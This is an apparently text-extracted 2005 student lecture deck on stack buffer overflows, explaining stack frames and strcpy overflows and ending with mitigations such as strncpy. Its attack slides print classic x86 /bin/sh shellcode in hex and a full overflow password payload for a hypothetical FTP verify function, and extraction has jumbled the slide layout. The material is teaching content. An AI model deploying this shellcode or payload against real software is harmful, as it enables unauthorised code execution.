Stack Overflow
(Electronic Crime & Security)
Susam Pal
8th Semester (2005)
Electronics and Telecommunication Engineering
Kalinga Institute of Industrial Technology University
Agenda
Introduction to Stack Overflow
Operation of Stack
Attacking the Stack and Protection
Introduction to Stack Overflow
About Stack Overflow
Vulnerable Software
Vulnerable Operating Systems
Major Attacks
About Stack Overflow
What is a stack overflow?
An error condition which results from attempting to push more items onto a
stack than space has been allocated for.
Is it dangerous?
Yes, it is one of the most dangerous threats that exists in the
microprocessor world from computer systems to embedded systems. Any
processor that uses a stack may be vulnerable to an attack due to stack
overflow.
Why is it dangerous?
Attempting to push more items on a stack than space allocated overwrites
adjacent memory locations which might contain return addresses thus
executing other code.
Vulnerable Software
WS FTP Server V5.03 SLMain 5.5 POP3 Server
Winamp 5.06 Microsoft Lsass.exe
Real One Player Microsoft IIS Server API
DMS POP3 Server Microsoft Outlook
Vulnerable Operating Systems
Microsoft Windows HP-UX
FreeBSD SGI IRIX
Linux IBM AIX
Sun OS 5.6 Novell Netware
Major Attacks
Code Red Virus
Attacked a buffer overflow weakness in the Microsoft IIS Server API
on July 19, 2001.
Damage: $2.6 billion
Sasser Worm
Attacked the Microsoft LSAS buffer overflow vulnerability on April 30,
2004.
Damage: $3.5 billion
Operation of Stack
Onion Skin Model of Computer System
Process Memory Regions
Uses of Stack
Stack in Action
Onion Skin Model of Computer System
User enters command
Shell interprets command
Hardware
Shell invokes necessary
kernel routines
Kernel
Kernel routines drive the
Shell hardware resources
User
Process Memory Regions
Higher Memory Address
Stack
Data
Executable
Code Lower Memory Address
Process Memory Regions
Subroutines use the stack to save necessary
Data, e.g. register values which are altered
Stack by the subroutine.
Data area contains initialized and uninitialized
Data data. Static variables are loaded into this
region.
Executable Code area contains the instructions of the
executable file. This area is normally marked
Code read-only and any attempt to write to it results
in a segmentation violation.
Uses of Stack
The microprocessor uses this area to save the return
address during a subroutine call.
Subroutines use this area to save necessary data, e.g.
register values which are altered by the subroutine.
Calling routines usually push into the stack the
arguments they want to pass to the subroutine.
Dynamic variables are created on the stack by
decrementing the stack pointer by the size of the
variable.
Stack in Action
void function(int a, int b) EBP (shell)
{
char buffer1[4];
char buffer2[4];
}
main()
{
function(1,2);
}
indicates what ESP is pointing to
indicates what EBP is pointing to
Stack in Action
void function(int a, int b) EBP (shell)
{ 00000002
char buffer1[4]; Frame 1 00000001
char buffer2[4]; (main)
EIP
}
EBP (main)
main()
{
function(1,2);
}
indicates what ESP is pointing to
indicates what EBP is pointing to
Stack in Action
void function(int a, int b) EBP (shell)
{ 00000002
char buffer1[4]; Frame 1 00000001
char buffer2[4]; (main)
EIP
}
EBP (main)
buffer1[4]
main() Frame 2
(function) buffer2[4]
{
function(1,2);
}
indicates what ESP is pointing to
indicates what EBP is pointing to
Stack in Action
PUSH EBP
MOV EBP, ESP
EBP (shell)
PUSHD 00000002H 00000002
PUSHD 00000001H 00000001
CALL FUNCTION Frame 1
(main) EIP
MOV ESP, EBP
POP EBP EBP (main)
RET
buffer1[4]
Frame 2
PUSH EBP (function) buffer2[4]
MOV EBP, ESP
SUB ESP, 00000008H
MOV ESP, EBP
POP EBP
RET indicates what ESP is pointing to
indicates what EBP is pointing to
Stack in Action
*str – 4th Byte
*str – 3rd Byte
#include <string.h> *str – 2nd Byte
*str – 1st Byte
void function(char *str) EIP – 4th Byte
{ EIP – 3rd Byte
Return Address
char buffer[4]; EIP – 2nd Byte
strcpy(buffer, str); EIP – 1st Byte
EBP – 4th Byte
}
EBP – 3rd Byte
EBP – 2nd Byte
main() EBP – 1st Byte
{
char string[]=“Hi!”;
function(string);
}
Stack in Action
*str – 4th Byte
*str – 3rd Byte
#include <string.h> *str – 2nd Byte
*str – 1st Byte
void function(char *str) EIP – 4th Byte
{ EIP – 3rd Byte
Return Address
char buffer[4]; EIP – 2nd Byte
strcpy(buffer, str); EIP – 1st Byte
EBP – 4th Byte
}
EBP – 3rd Byte
EBP – 2nd Byte
main() EBP – 1st Byte
{ buffer[3]
char string[]=“Hi!”; buffer[2]
function(string); buffer[1]
} buffer[0]
Stack in Action
*str – 4th Byte
*str – 3rd Byte
#include <string.h> *str – 2nd Byte
*str – 1st Byte
void function(char *str) EIP – 4th Byte
{ EIP – 3rd Byte
Return Address
char buffer[4]; EIP – 2nd Byte
strcpy(buffer, str); EIP – 1st Byte
EBP – 4th Byte
}
EBP – 3rd Byte
EBP – 2nd Byte
main() EBP – 1st Byte
{ ‘\0’
char string[]=“Hi!”; ‘!’
function(string); ‘i’
} ‘H’
Attacking the Stack and Protection
Stack Under Attack
FTP Server Under Attack
Plugging the Loophole
Fighting Stack Overflow
Stack Under Attack
*str – 4th Byte
*str – 3rd Byte
#include <string.h> *str – 2nd Byte
*str – 1st Byte
void function(char *str) EIP – 4th Byte
{ EIP – 3rd Byte
Return Address
char buffer[4]; EIP – 2nd Byte
strcpy(buffer, str); EIP – 1st Byte
EBP – 4th Byte
}
EBP – 3rd Byte
EBP – 2nd Byte
main() EBP – 1st Byte
{ ‘\0’
char string[]=“Hi!”; ‘!’
function(string); ‘i’
} ‘H’
Stack Under Attack
*str – 4th Byte
*str – 3rd Byte
#include <string.h> *str – 2nd Byte
*str – 1st Byte
void function(char *str) EIP – 4th Byte
{ EIP – 3rd Byte
Return Address
char buffer[4]; EIP – 2nd Byte
strcpy(buffer, str); EIP – 1st Byte
EBP – 4th Byte
}
EBP – 3rd Byte
EBP – 2nd Byte
main() EBP – 1st Byte
{ buffer[3]
char string[]=“Good Morning!”; buffer[2]
function(string); buffer[1]
} buffer[0]
Stack Under Attack
*str – 4th byte
*str – 3rd byte
#include <string.h> \0
!
void function(char *str) g
{ n
Return Address
char buffer[4]; i
strcpy(buffer, str); n
} r
o
M
main()
{ d
char string[]=“Good Morning!”; o
function(string); o
} G
Stack Under Attack
*str - 4th byte
*str - 3rd byte
#include <string.h> \0 00H
! 21H
void function(char *str) g 67H
{ n 6EH
Return Address
char buffer[4]; i 69H
strcpy(buffer, str); Returns to offset
n 6EH
r 72H
} 676E696EH
o 6FH
M 4DH
main() 20H
{ d 64H
char string[]="Good Morning!”; o 6FH
function(string); o 6FH
} G 47H
00FF1FFFH: *password
00FF1FFEH: *password
FTP Server Under Attack 00FF1FFDH:
00FF1FFCH:
*password
*password
00FF1FFBH: EIP
verify(*password) 00FF1FFAH: EIP
{ Return address 00FF1FF9H: EIP
char buffer[8]; 00FF1FF8H: EIP
00FF1FF7H: EBP
int f1, f2; 00FF1FF6H: EBP
strcpy(buffer[8],password); 00FF1FF5H: EBP
00FF1FF4H: EBP
00FF1FF3H: buffer[7]
00FF1FF2H: buffer[6]
00FF1FF1H: buffer[5]
00FF1FF0H: buffer[4]
00FF1FEFH: buffer[3]
00FF1FEEH: buffer[2]
00FF1FEDH: buffer[1]
00FF1FECH: buffer[0]
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF1FFFH: *password
00FF1FFEH: *password
FTP Server Under Attack 00FF1FFDH:
00FF1FFCH:
*password
*password
00FF1FFBH: EIP
verify(*password) 00FF1FFAH: EIP
{ Return address 00FF1FF9H: EIP
char buffer[8]; 00FF1FF8H: EIP
00FF1FF7H: EBP
int f1, f2; 00FF1FF6H: EBP
strcpy(buffer[8],password); 00FF1FF5H: EBP
00FF1FF4H: EBP
00FF1FF3H: ‘\0’
00FF1FF2H: ‘r’
00FF1FF1H: ‘o’
00FF1FF0H: ‘t’
00FF1FEFH: ‘i’
00FF1FEEH: ‘s’
00FF1FEDH: ‘i’
00FF1FECH: ‘v’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
Shell Code
Assembly Codes Hex Codes
JMP 1FH EB, 1F
POP ESI 5E
MOV 08H[ESI], ESI 89, 76, 08
XOR EAX, EAX 31, C0
MOV 07H[ESI], EAX 88, 46, 07
MOV 0CH[ESI], EAX 89, 46, 0C
MOV AL, 0BH B0, 0B
MOV EBX, ESI 89, F3
LEA ECX, 08H[ESI] 8D, 4E, 08
LEA EDX, 0CH[ESI] 8D, 56, 0C
INT 80H CD, 80
XOR EBX, EBX 31, DB
MOV EAX, EBX 89, D8
INC EAX 40
INT 80H CD, 80
CALL -24H E8, DC, FF, FF, FF
.STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
00FF2001H: 76H
00FF1FFFH: 89H
00FF1FFEH: 5EH
FTP Server Under Attack 00FF1FFDH:
00FF1FFCH:
1FH
EBH
00FF1FFBH: 00H
verify(*password) 00FF1FFAH: FFH
Return Address
{ ( 00FF1FFCH )
00FF1FF9H:
00FF1FF8H:
1FH
FCH
char buffer[8]; 00FF1FF7H: ‘A’
int f1, f2; 00FF1FF6H: ‘A’
strcpy(buffer[8],password); 00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
Shell Code ( In Hex ) 00FF1FF2H: ‘A’
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF1FF1H: ‘A’
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FF0H: ‘A’
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FEFH: ‘A’
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FEEH: ‘A’
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FEDH: ‘A’
69, 6E, 2F, 73, 68, 00 00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
FTP Server Under Attack 00FF2006H:
00FF2005H:
46H
88H
00FF2004H: C0H
Password to be entered (Codes in Hex)
00FF2003H: 31H
41, 41, 41, 41, 41, 41, 41, 41,
41, 41, 41, 41, FC, 1F, FF, 00, 00FF2002H: 08H
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF2001H: 76H
Shell Code
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FFFH: 89H
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FFEH: 5EH
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FFDH: 1FH
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FFCH: EBH
69, 6E, 2F, 73, 68, 00 00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF2009H: 46H
00FF2008H: 89H
00FF2007H: 07H
FTP Server Under Attack 00FF2006H:
00FF2005H:
46H
88H
00FF2004H: C0H
Password to be entered (Codes in Hex)
00FF2003H: 31H
41, 41, 41, 41, 41, 41, 41, 41,
41, 41, 41, 41, FC, 1F, FF, 00, 00FF2002H: 08H
EB, 1F, 5E, 89, 76, 08, 31, C0, 00FF2001H: 76H
Shell Code
88, 46, 07, 89, 46, 0C, B0, 0B, 00FF1FFFH: 89H
89, F3, 8D, 4E, 08, 8D, 56, 0C, 00FF1FFEH: 5EH
CD, 80, 31, DB, 89, D8, 40, CD, 00FF1FFDH: 1FH
80, E8, DC, FF, FF, FF, 2F, 62, 00FF1FFCH: EBH
69, 6E, 2F, 73, 68, 00 00FF1FFBH: 00H
00FF1FFAH: FFH
00FF1FF9H: 1FH
00FF1FF8H: FCH
00FF1FF7H: ‘A’
00FF1FF6H: ‘A’
00FF1FF5H: ‘A’
00FF1FF4H: ‘A’
00FF1FF3H: ‘A’
D!!
00FF1FF2H: ‘A’
KE
AC 00FF1FF1H: ‘A’
ATT 00FF1FF0H: ‘A’
Shell Prompt 00FF1FEFH: ‘A’
00FF1FFFH: *password
00FF1FFEH: *password
Plugging the Loophole
00FF1FFDH: *password
00FF1FFCH: *password
00FF1FFBH: EIP
00FF1FFAH: EIP
verify(*password) 00FF1FF9H: EIP
00FF1FF8H: EIP
{ 00FF1FF7H: EBP
char buffer[8]; 00FF1FF6H: EBP
int f1, f2; 00FF1FF5H: EBP
strncpy(buffer[8],password,8); 00FF1FF4H:
00FF1FF3H:
EBP
‘A’
00FF1FF2H: ‘A’
00FF1FF1H: ‘A’
00FF1FF0H: ‘A’
00FF1FEFH: ‘A’
00FF1FEEH: ‘A’
00FF1FEDH: ‘A’
00FF1FECH: ‘A’
00FF1FEBH: f1
00FF1FEAH: f1
00FF1FE9H: f1
00FF1FE8H: f1
00FF1FE7H: f2
00FF1FE6H: f2
Fighting Stack Overflow
C Programmers now refrain from using strcpy(), strcat() in
their programs. They use strncpy(), strncat() instead which
perform bound checking.
Programmers now write their applications in
languages like Java, Visual Basic which have better
stack and memory management features.
Sun Microsystems is trying to make their SPARC processor
immune to stack overflow attack by introducing new features
to protect the return address during a subroutine call.
Thank You!